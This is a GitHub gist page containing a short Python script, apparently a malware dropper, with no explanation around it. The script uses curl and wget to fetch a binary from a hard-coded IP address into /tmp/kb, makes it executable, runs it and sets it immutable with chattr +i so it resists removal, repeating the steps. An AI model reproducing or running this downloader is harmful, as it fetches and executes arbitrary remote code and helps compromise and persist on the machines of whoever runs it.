Created
October 19, 2016 01:25
-
-
Save liammclennan/5aa7c70230bd004d2ccc9ddcd5816be6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
def down_exec(): | |
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb' | |
p = os.system(cmd) | |
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb' | |
p = os.system(cmd) | |
cmd = 'chmod 0777 /tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chmod u+x /tmp/kb' | |
p = os.system(cmd) | |
cmd = '/tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chattr +i /tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chmod 0777 /tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chmod u+x /tmp/kb' | |
p = os.system(cmd) | |
cmd = '/tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chattr +i /tmp/kb' | |
p = os.system(cmd) | |
if __name__ == '__main__': | |
down_exec() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment